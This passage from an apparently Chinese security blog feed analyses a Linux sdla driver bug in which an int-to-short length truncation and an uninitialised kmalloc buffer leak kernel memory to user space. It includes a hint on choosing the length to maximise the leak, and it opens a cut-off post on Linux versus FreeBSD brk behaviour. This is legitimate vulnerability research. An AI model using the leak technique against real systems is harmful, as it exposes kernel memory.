return(-EINVAL);<br>
<p class="partingline">[separator]</p>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (cmd)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case FRAD_GET_CONF:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case FRAD_SET_CONF:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(sdla_config(dev, (struct frad_conf *)ifr-&gt;ifr_data, cmd
== FRAD_GET_CONF));<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_IDENTIFY:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ifr-&gt;ifr_flags = flp-&gt;type;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_CPUSPEED:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(sdla_cpuspeed(dev, ifr));<br>
<br>
/* ==========================================================<br>
NOTE:&nbsp; This is rather a useless action right now, as the<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current driver does not
support protocols other than<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FR.&nbsp; However, Sangoma has
modules for a number of<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; other protocols in the
works.<br>
============================================================*/<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_PROTOCOL:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (flp-&gt;configured)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(-EALREADY);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
switch (ifr-&gt;ifr_flags)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case ARPHRD_FRAD:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
dev-&gt;type = ifr-&gt;ifr_flags;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(-ENOPROTOOPT);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_CLEARMEM:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdla_clear(dev);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_WRITEMEM:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_READMEM:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if(!capable(CAP_SYS_RAWIO))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EPERM;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(sdla_xfer(dev, (struct sdla_mem *)ifr-&gt;ifr_data, cmd ==
SDLA_READMEM));&nbsp;&nbsp;&nbsp; &lt;-- 此处调用<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_START:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdla_start(dev);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
case SDLA_STOP:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdla_stop(dev);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(-EOPNOTSUPP);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return(0);<br>
}<br>
<br>
在执行过程进入sdla_xfer后，前面被作为参数传入的ifr-&gt;ifr_data被进一步处理使用（在这里其对应行参info）。<br>
由于info指向的地址信息是由用户（即应用层）传入，所以在sdla_xfer函数一开始调用copy_from_user将info指向的<br>
内存信息读取到mem局部变量。将用户传递的信息安全取得之后，真正的读设备相关操作才正式开始：首先根据用户指定<br>
的读取信息长度即mem.len来分配一段缓冲区，然后调用sdla_read来读取卡上信息。问题就在这里开始出现。<br>
<br>
首先，驱动程序使用kmalloc分配一段缓冲区，以完成卡上数据的读取，然后将这段缓冲区的内容完全复制到用户<br>
指定内存处。在这个过程中，完成卡上数据到用户内存传递中转任务的内核内存是使用kmalloc来分配的。而问题就<br>
在于kmalloc是不对其分配的内存进行任何处理的，也就是说通过kmalloc分配得到的内存，是保留了内存原始内容的！<br>
可以想象，当这块内存的信息被传递到用户空间后，会出现什么样的问题 --- 内核信息泄漏。<br>
<br>
下面是sdla_xfer函数的完整代码：<br>
<br>
static int sdla_xfer(struct net_device *dev, struct sdla_mem *info,
int read)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct sdla_mem mem;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
*temp;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if(copy_from_user(&amp;mem, info, sizeof(mem)))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EFAULT;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (read)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
temp = kmalloc(mem.len, GFP_KERNEL);&nbsp;&nbsp;&nbsp; &lt;--
分配一块内存，用于存放设备信息。<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 稍后，这块内存的内容会被传递到用户空间<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (!temp)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(-ENOMEM);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdla_read(dev, mem.addr, temp, mem.len);&nbsp;&nbsp;&nbsp; &lt;--
读取设备信息到前面分配的内存<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if(copy_to_user(mem.data, temp, mem.len))&nbsp;&nbsp;&nbsp; &lt;--
将读到的信息复制到用户空间<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
kfree(temp);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EFAULT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
kfree(temp);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
temp = kmalloc(mem.len, GFP_KERNEL);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (!temp)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return(-ENOMEM);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if(copy_from_user(temp, mem.data, mem.len))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
kfree(temp);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EFAULT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdla_write(dev, mem.addr, temp, mem.len);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
kfree(temp);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return(0);<br>
}<br>
<br>
分析了sdla_xfer函数代码后，我们已经知道在这里使用kmalloc分配内存造成了出现信息泄漏的潜在可能，但与真正造成漏洞的原因<br>
还有一步，我们继续分析，看下面的代码：<br>
<br>
static void sdla_read(struct net_device *dev, int addr, void *buf,
short len)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long flags;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *temp,
*base;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
offset, bytes;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; temp = buf;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(len)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
offset = addr &amp; SDLA_ADDR_MASK;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
bytes = offset + len &gt; SDLA_WINDOW_SIZE ? SDLA_WINDOW_SIZE -
offset : len;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
base = (void *) (dev-&gt;mem_start + offset);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
save_flags(flags);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
cli();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
SDLA_WINDOW(dev, addr);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
memcpy(temp, base, bytes);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
restore_flags(flags);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
addr += bytes;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
temp += bytes;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
len&nbsp; -= bytes;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
}<br>
<br>
在kmalloc分配了内存之后，驱动立即调用sdla_read函数来完成卡上数据的读取。看sdla_read函数的最后一个<br>
形参short len，注意它的类型是短整型，而在sdla_xfer中指示读取长度的mem.len却是整型<br>
<br>
&nbsp;&nbsp;&nbsp; static void sdla_read(..., short
len)&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;-- len是短整型<br>
……<br>
&nbsp;&nbsp;&nbsp; struct sdla_mem {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; int&nbsp; addr;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; int&nbsp; len;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &lt;-- mem.len是整型<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; void *data;<br>
&nbsp;&nbsp;&nbsp; };<br>
……<br>
&nbsp;&nbsp;&nbsp; sdla_read(dev, mem.addr, temp,
mem.len);&nbsp;&nbsp;&nbsp; &lt;--
这里mem.len指示读取数据的长度，当sdla_read调用发生时将发生<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
类型转换，mem.len被强制转换为short类型。<br>
<br>
通过整理上面的分析过程，可以得出以下结论：<br>
当传入超过短整型数值上限的数值时，在sdla_read函数调用时会出现长度信息丢失的情况，而这里的信息丢失导致了<br>
kmalloc分配的内存内容不能被完全覆盖（事实上，即使数据长度传递无误，但由于sdla_read实现的限制，还是有信息泄漏的问题存在，<br>
不过在这里暂时就不分析了）。同时由于kmalloc未对其分配的内存做任何处理，所以未被sdla_read使用的缓冲区中的信息是内核原始信息，<br>
因为这块内存的内容还要被传递到用户空间，所以出现内核内存信息泄漏的问题。<br>
<br>
相关问题<br>
---------<br>
<br>
1. kmalloc<br>
对于可能泄漏的内核信息数量取决于具体内核版本kmalloc可分配最大内存长度的限制（128K）<br>
<br>
2. mem.len<br>
为了获得最多的内核信息，只要保证我们传递的mem.len进行类型转换后为短整型的0，就可以使得sdla_read不读取任何数据，这样就可以不需要“损失”一段缓冲区来存放读取到的设备信息。<br>
<br>
3. sdla_ioctl - capable<br>
经过和梁斌的讨论，发现这个漏洞适用范围非常小。<br>
看sdla_ioctl中的权能检查<br>
...<br>
&nbsp;&nbsp;&nbsp; if(!capable(CAP_NET_ADMIN))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EPERM;<br>
...<br>
可以看出，只有root用户才有可能利用这个漏洞，因此......<br>
<br>
备注<br>
---------<br>
<br>
1.
LINUX内核中，在与用户空间有关的处理例程中使用kmalloc是要非常小心的。在这种情形下，可以说使用kmalloc是很不安全的，而应该考虑使用get_zeroed_page这样的函数，以避免内核信息泄漏。<br>
<br>
]]></description><guid>http://www.i170.com/Article/16879</guid><trackback:ping>http://www.i170.com/Article/16879/trackback</trackback:ping><comments>http://www.i170.com/Article/16879#comment</comments><wfw:commentRss>http://www.i170.com/Article/16879/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/10881</link><title><![CDATA[malloc的起始地址在LINUX和FREEBSD中的不同]]></title><author>grip2</author><category>网络安全</category><pubDate>Thu, 15 Dec 2005 16:20:49  +0800</pubDate><description><![CDATA[Coolq搞懂了昨天讨论的FREEBSD bss结束地址问题，我来总结一下。<br>
LINUX和FREEBSD在BSS结束地址（也可以说是malloc分配的起始地址）处理方面的不同：<br>
<br>
LINUX:<br>
&nbsp;&nbsp;&nbsp; malloc分配的起始地址是通过sys_brk(0)从内核获取，见代码<br>
<p class="partingline">[separator]</p>
<br>
<pre>
<a href=
"http://lxr.linux.no/ident?i=asmlinkage">asmlinkage</a> unsigned long <a href="http://lxr.linux.no/ident?i=sys_brk">sys_brk</a>(unsigned long brk)<br>
<a name="L207" href="http://lxr.linux.no/source/mm/mmap.c#L207" id=
"L207">207</a> {<br>
<a name="L208" href="http://lxr.linux.no/source/mm/mmap.c#L208" id=
"L208">208</a>         unsigned long rlim, retval;<br>
<a name="L209" href="http://lxr.linux.no/source/mm/mmap.c#L209" id=
"L209">209</a>         unsigned long newbrk, oldbrk;<br>
<a name="L210" href="http://lxr.linux.no/source/mm/mmap.c#L210" id=
"L210">210</a>         struct <a href=
"http://lxr.linux.no/ident?i=mm_struct">mm_struct</a> *mm = <a href="http://lxr.linux.no/ident?i=current">current</a>-&gt;mm;<br>
<a name="L211" href="http://lxr.linux.no/source/mm/mmap.c#L211" id=
"L211">211</a> <br>
<a name="L212" href="http://lxr.linux.no/source/mm/mmap.c#L212" id=
"L212">212</a>         <a href=
"http://lxr.linux.no/ident?i=down_write">down_write</a>(&amp;mm-&gt;mmap_sem);<br>
<a name="L213" href="http://lxr.linux.no/source/mm/mmap.c#L213" id=
"L213">213</a> <br>
<a name="L214" href="http://lxr.linux.no/source/mm/mmap.c#L214" id=
"L214">214</a>         if (brk &lt; mm-&gt;end_code)     &lt;------------- 这里        <br>
<a name="L215" href="http://lxr.linux.no/source/mm/mmap.c#L215" id=
"L215">215</a>                 goto <a href=
"http://lxr.linux.no/ident?i=out">out</a>;               &lt;------------- 这里    <br>
<a name="L216" href="http://lxr.linux.no/source/mm/mmap.c#L216" id=
"L216">216</a>         newbrk = <a href=
"http://lxr.linux.no/ident?i=PAGE_ALIGN">PAGE_ALIGN</a>(brk);<br>
<a name="L217" href="http://lxr.linux.no/source/mm/mmap.c#L217" id=
"L217">217</a>         oldbrk = <a href=
"http://lxr.linux.no/ident?i=PAGE_ALIGN">PAGE_ALIGN</a>(mm-&gt;brk);<br>
<a name="L218" href="http://lxr.linux.no/source/mm/mmap.c#L218" id=
"L218">218</a>         if (oldbrk == newbrk)<br>
<a name="L219" href="http://lxr.linux.no/source/mm/mmap.c#L219" id=
"L219">219</a>                 goto <a href=
"http://lxr.linux.no/ident?i=set_brk">set_brk</a>;<br>
<a name="L220" href="http://lxr.linux.no/source/mm/mmap.c#L220" id=
